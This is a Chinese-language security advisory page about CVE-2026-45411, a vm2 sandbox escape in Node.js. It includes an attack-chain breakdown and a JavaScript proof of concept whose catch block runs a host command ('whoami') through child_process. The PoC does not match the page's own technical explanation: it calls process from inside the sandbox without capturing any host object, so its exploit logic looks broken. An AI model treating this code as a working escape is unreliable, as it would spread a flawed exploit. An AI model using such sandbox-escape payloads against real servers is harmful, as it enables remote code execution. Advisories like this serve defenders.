IPBUF安全漏洞报告
English
CVE-2026-45411 CVSS 9.8 严重

CVE-2026-45411 vm2沙箱逃逸漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-45411
漏洞类型
沙箱逃逸
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
vm2

相关标签

沙箱逃逸远程代码执行vm2Node.js

漏洞概述

vm2是Node.js的一个开源沙箱库。在3.11.3版本之前,存在一处严重的沙箱逃逸漏洞。攻击者利用异步生成器中的yield*表达式,可以在通过return函数关闭生成器时捕获主机异常。由于运行时错误地将then调用中的异常作为下一个值传递给迭代器,攻击者可借此绕过沙箱限制,在宿主系统上执行任意代码,造成严重安全风险。

技术细节

该漏洞源于vm2在处理异步生成器和迭代器协议时的边界条件错误。具体而言,当攻击者在异步生成器内部使用yield*表达式委托给另一个迭代器时,若通过return()方法强制关闭生成器,vm2的内部机制会对返回的Promise进行await。在此过程中,如果在Promise的then回调链中抛出异常,该异常未被正确隔离,反而被运行时捕获并作为next值回传给yield*迭代器。攻击者通过精心构造恶意代码,利用这一逻辑缺陷捕获本应被隔离的主机对象或异常。一旦成功捕获主机上下文,攻击者即可利用Node.js的原生模块(如child_process)执行系统命令,从而实现完整的沙箱逃逸和远程代码执行。

攻击链分析

STEP 1
reconnaissance
攻击者识别目标系统正在使用vm2库且版本低于3.11.3。
STEP 2
Payload Injection
攻击者构造包含恶意异步生成器的JavaScript代码,并利用yield*表达式和return方法的特性。
STEP 3
Trigger Vulnerability
执行恶意代码,通过调用生成器的return()方法触发vm2的异常处理逻辑缺陷。
STEP 4
Sandbox Escape
利用漏洞捕获主机异常,突破vm2的沙箱隔离机制,获取宿主机上下文访问权限。
STEP 5
Execution
在宿主机上执行任意系统命令,完全控制受影响的服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const {VM} = require('vm2'); const vm = new VM(); // Malicious code exploiting the yield* and return() behavior const untrustedCode = ` async function exploit() { // Create an iterator that throws an exception when next is called const maliciousIterator = { [Symbol.iterator]() { return this; }, next() { // This exception is intended to be caught by the host runtime throw new Error('Escaped!'); } }; // Async generator using yield* async function* gen() { yield* maliciousIterator; } const g = gen(); // Triggering the vulnerability by calling return() // This causes the runtime to await and catch the exception incorrectly try { await g.return(); } catch (e) { // If sandbox escape is successful, this block can access host resources // Example: Accessing process or executing commands process.mainModule.require('child_process').execSync('whoami'); } } exploit(); `; vm.run(untrustedCode);

影响范围

vm2 < 3.11.3

防御指南

临时缓解措施
如果无法立即升级,应评估vm2的使用场景,考虑暂时禁用相关功能或替换为更安全的隔离方案(如isolated-vm)。严格限制输入源,避免运行不可信代码。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表